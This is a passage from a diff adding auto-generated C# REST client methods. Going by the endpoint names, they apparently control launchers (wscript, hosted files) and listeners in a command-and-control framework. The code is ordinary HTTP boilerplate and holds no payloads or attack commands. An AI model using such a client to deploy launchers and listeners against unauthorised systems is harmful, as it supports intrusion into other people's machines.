ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersWscriptPutWithHttpMessagesAsync(WscriptLauncher wscriptLauncher = default(WscriptLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("wscriptLauncher", wscriptLauncher); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersWscriptPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/wscript").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(wscriptLauncher != null) + { + _requestContent = SafeJsonConvert.SerializeObject(wscriptLauncher, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersWscriptPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersWscriptPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/wscript").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiLaunchersWscriptHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("hostedFile", hostedFile); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiLaunchersWscriptHostedPost", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Launchers/wscript/hosted").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("POST"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(hostedFile != null) + { + _requestContent = SafeJsonConvert.SerializeObject(hostedFile, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiListenersTypesGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiListenersTypesGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Listeners/types").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiListenersTypesByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiListenersTypesByIdGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Listeners/types/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task>> ApiListenersGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiListenersGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Listeners").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse>(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject>(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiListenersPutWithHttpMessagesAsync(Listener listener = default(Listener), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("listener", listener); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiListenersPut", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Listeners").ToString(); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("PUT"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + if(listener != null) + { + _requestContent = SafeJsonConvert.SerializeObject(listener, SerializationSettings); + _httpRequest.Content = new StringContent(_requestContent, System.Text.Encoding.UTF8); + _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json-patch+json; charset=utf-8"); + } + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiListenersByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiListenersByIdGet", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Listeners/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("GET"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + cancellationToken.ThrowIfCancellationRequested(); + await Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + } + // Send Request + if (_shouldTrace) + { + ServiceClientTracing.SendRequest(_invocationId, _httpRequest); + } + cancellationToken.ThrowIfCancellationRequested(); + _httpResponse = await HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); + if (_shouldTrace) + { + ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); + } + HttpStatusCode _statusCode = _httpResponse.StatusCode; + cancellationToken.ThrowIfCancellationRequested(); + string _responseContent = null; + if ((int)_statusCode != 200) + { + var ex = new HttpOperationException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); + if (_httpResponse.Content != null) { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + } + else { + _responseContent = string.Empty; + } + ex.Request = new HttpRequestMessageWrapper(_httpRequest, _requestContent); + ex.Response = new HttpResponseMessageWrapper(_httpResponse, _responseContent); + if (_shouldTrace) + { + ServiceClientTracing.Error(_invocationId, ex); + } + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw ex; + } + // Create Result + var _result = new HttpOperationResponse(); + _result.Request = _httpRequest; + _result.Response = _httpResponse; + // Deserialize Response + if ((int)_statusCode == 200) + { + _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); + try + { + _result.Body = SafeJsonConvert.DeserializeObject(_responseContent, DeserializationSettings); + } + catch (JsonException ex) + { + _httpRequest.Dispose(); + if (_httpResponse != null) + { + _httpResponse.Dispose(); + } + throw new SerializationException("Unable to deserialize the response.", _responseContent, ex); + } + } + if (_shouldTrace) + { + ServiceClientTracing.Exit(_invocationId, _result); + } + return _result; + } + + /// + /// + /// + /// Headers that will be added to request. + /// + /// + /// The cancellation token. + /// + /// + /// Thrown when the operation returned an invalid status code + /// + /// + /// Thrown when unable to deserialize the response + /// + /// + /// A response object containing the response body and response headers. + /// + public async Task> ApiListenersByIdDeleteWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)) + { + // Tracing + bool _shouldTrace = ServiceClientTracing.IsEnabled; + string _invocationId = null; + if (_shouldTrace) + { + _invocationId = ServiceClientTracing.NextInvocationId.ToString(); + Dictionary tracingParameters = new Dictionary(); + tracingParameters.Add("id", id); + tracingParameters.Add("cancellationToken", cancellationToken); + ServiceClientTracing.Enter(_invocationId, this, "ApiListenersByIdDelete", tracingParameters); + } + // Construct URL + var _baseUrl = BaseUri.AbsoluteUri; + var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "api/Listeners/{id}").ToString(); + _url = _url.Replace("{id}", System.Uri.EscapeDataString(SafeJsonConvert.SerializeObject(id, SerializationSettings).Trim('"'))); + // Create HTTP transport objects + var _httpRequest = new HttpRequestMessage(); + HttpResponseMessage _httpResponse = null; + _httpRequest.Method = new HttpMethod("DELETE"); + _httpRequest.RequestUri = new System.Uri(_url); + // Set Headers + + + if (customHeaders != null) + { + foreach(var _header in customHeaders) + { + if (_httpRequest.Headers.Contains(_header.Key)) + { + _httpRequest.Headers.Remove(_header.Key); + } + _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); + } + } + + // Serialize Request + string _requestContent = null; + // Set Credentials + if (Credentials != null) + { + 